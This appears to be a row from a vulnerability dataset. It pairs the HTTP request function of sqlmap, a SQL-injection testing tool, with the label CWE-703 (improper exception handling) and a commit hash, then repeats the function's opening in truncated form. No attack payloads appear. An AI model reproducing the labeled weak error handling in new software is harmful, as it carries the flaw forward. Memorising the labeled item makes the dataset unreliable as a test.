        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

            if conf.proxyFreq:
                if kb.requestCounter % conf.proxyFreq == 0:
                    conf.proxy = None

                    warnMsg = ""changing proxy""
                    logger.warning(warnMsg)

                    setHTTPHandlers()

        if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))

            page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3)

            threadData.lastPage = page
            threadData.lastCode = code

            return page, headers, code

        if conf.liveCookies:
            with kb.locks.liveCookies:
                if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
                    warnMsg = ""[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)"" % (time.strftime(""%X""), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(LIVE_COOKIES_TIMEOUT):
                        if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(1)

                    dataToStdout(""\n"")

                    if not valid:
                        errMsg = ""problem occurred while loading cookies from file '%s'"" % conf.liveCookies
                        raise SqlmapValueException(errMsg)

                cookie = openFile(conf.liveCookies).read().strip()
                cookie = re.sub(r""(?i)\ACookie:\s*"", """", cookie)

        if multipart:
            post = multipart
        else:
            if not post:
                chunked = False

            elif chunked:
                post = _urllib.parse.unquote(post)
                post = chunkSplitPostData(post)

        webSocket = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL:
                    url = re.sub(r""(?i)\A(http|ws):"", r""\g<1>s:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            if kb.headersFile:
                content = openFile(kb.headersFile, ""rb"").read()
                for line in content.split(""\n""):
                    line = getText(line.strip())
                    if ':' in line:
                        header, value = line.split(':', 1)
                        headers[header] = value

            if conf.localhost:
                headers[HTTP_HEADER.HOST] = ""localhost""

            for key, value in list(headers.items()):
                if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
                    value = re.sub(r""(?i)(,)br(,)?"", lambda match: ',' if match.group(1) and match.group(2) else """", value) or ""identity""

                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            if webSocket:
                ws = websocket.WebSocket()
                ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))

                _page = []

                if kb.webSocketRecvCount is None:
                    while True:
                        try:
                            _page.append(ws.recv())
                        except websocket.WebSocketTimeoutException:
                            kb.webSocketRecvCount = len(_page)
                            break
                else:
                    for i in xrange(max(1, kb.webSocketRecvCount)):
                        _page.append(ws.recv())

                page = ""\n"".join(_page)

                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                post = getBytes(post)

                if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST:
                    if kb.place != HTTPMETHOD.POST:
                        conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    else:
                        post = urldecode(post, convall=True)
                        post = encodeBase64(post)

                if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(cmdLineOptions.method or method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                for function in kb.preprocessFunctions:
                    try:
                        function(req)
                    except Exception as ex:
                        errMsg = ""error occurred while running preprocess ""
                        errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)
                    else:
                        post, headers = req.data, req.headers

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    with conf.cj._cookies_lock:
                        cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.choices.redirect == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, ""geturl"") else url

                    if hasattr(conn, ""redurl""):
                        responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl

                    responseHeaders = patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if not refresh:
                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)

                    if refresh:
                        debugMsg = ""got Javascript redirect logic""
                        logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""got a refresh intent ""
                        msg += ""(redirect like response common to login pages) to '%s'. "" % refresh
                        msg += ""Do you want to apply it from now on? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warning(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % getSafeExString(ex)
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                responseHeaders = patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warning(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders and getattr(responseHeaders, ""headers"", None):
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if code in conf.abortCode:
                errMsg = ""aborting due to detected HTTP code '%d'"" % code
                singleTimeLogMessage(errMsg, logging.CRITICAL)
                raise SystemExit

            if ex.code not in (conf.ignoreCode or []):
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d). "" % code
                    errMsg += ""If this is intended, try to rerun by providing ""
                    errMsg += ""a valid value for option '--ignore-code'""
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.REQUEST_URI_TOO_LONG:
                    warnMsg = ""request URI is marked as too long by the target. ""
                    warnMsg += ""you are advised to try a switch '--no-cast' and/or '--no-escape'""
                    singleTimeWarnMessage(warnMsg)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d ('%s')"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError):
            tbMsg = traceback.format_exc()

            if conf.debug:
                dataToStdout(tbMsg)

            if checking:
                return None, None, None
            elif ""KeyError:"" in tbMsg:
                if ""content-length"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""AttributeError:"" in tbMsg:
                if ""WSAECONNREFUSED"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif any(_ in tbMsg for _ in (""forcibly closed"", ""Connection is already closed"", ""ConnectionAbortedError"")):
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>\n]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue? [y/N] ""

                    kb.choices.connError = readInput(message, default='N', boolean=True)

                if kb.choices.connError is False:
                    raise SqlmapSkipTargetException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"", ""Interrupted system call"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or kb.multiThreadMode:
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for function in kb.postprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running postprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            for _ in (getattr(conn, ""redcode"", None), code):
                if _ is not None and _ in conf.abortCode:
                    errMsg = ""aborting due to detected HTTP code '%d'"" % _
                    singleTimeLogMessage(errMsg, logging.CRITICAL)
                    raise SystemExit

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
        if not sys.version.startswith(""3.11.""):
            if conf.retryOn and re.search(conf.retryOn, page, re.I):
                if threadData.retriesCount < conf.retries:
                    warnMsg = ""forced retry of the request because of undesired page content""
                    logger.warning(warnMsg)
                    return Connect._retryProxy(**kwargs)

        processResponse(page, responseHeaders, code, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code",CWE-703,sqlmapproject/sqlmap,66cc6ae55c83def5dda4b89a7590213f97f92dd9,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        if conf.offline:
            return None, None, None

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        host = kwargs.get(""host"", None) or conf.host
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

            if conf.proxyFreq:
                if kb.requestCounter % conf.proxyFreq == 0:
                    conf.proxy = None

                    warnMsg = ""changing proxy""
                    logger.warning(warnMsg)

                    setHTTPHandlers()

        if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))

            page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3)

            threadData.lastPage = page
            threadData.lastCode = code

            return page, headers, code

        if conf.liveCookies:
            with kb.locks.liveCookies:
                if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
                    warnMsg = ""[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)"" % (time.strftime(""%X""), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(LIVE_COOKIES_TIMEOUT):
                        if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(1)

                    dataToStdout(""\n"")

                    if not valid:
                        errMsg = ""problem occurred while loading cookies from file '%s'"" % conf.liveCookies
                        raise SqlmapValueException(errMsg)

                cookie = openFile(conf.liveCookies).read().strip()
                cookie = re.sub(r""(?i)\ACookie:\s*"", """", cookie)

        if multipart:
            post = multipart
        else:
            if not post:
                chunked = False

            elif chunked:
                post = _urllib.parse.unquote(post)
                post = chunkSplitPostData(post)

        webSocket = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
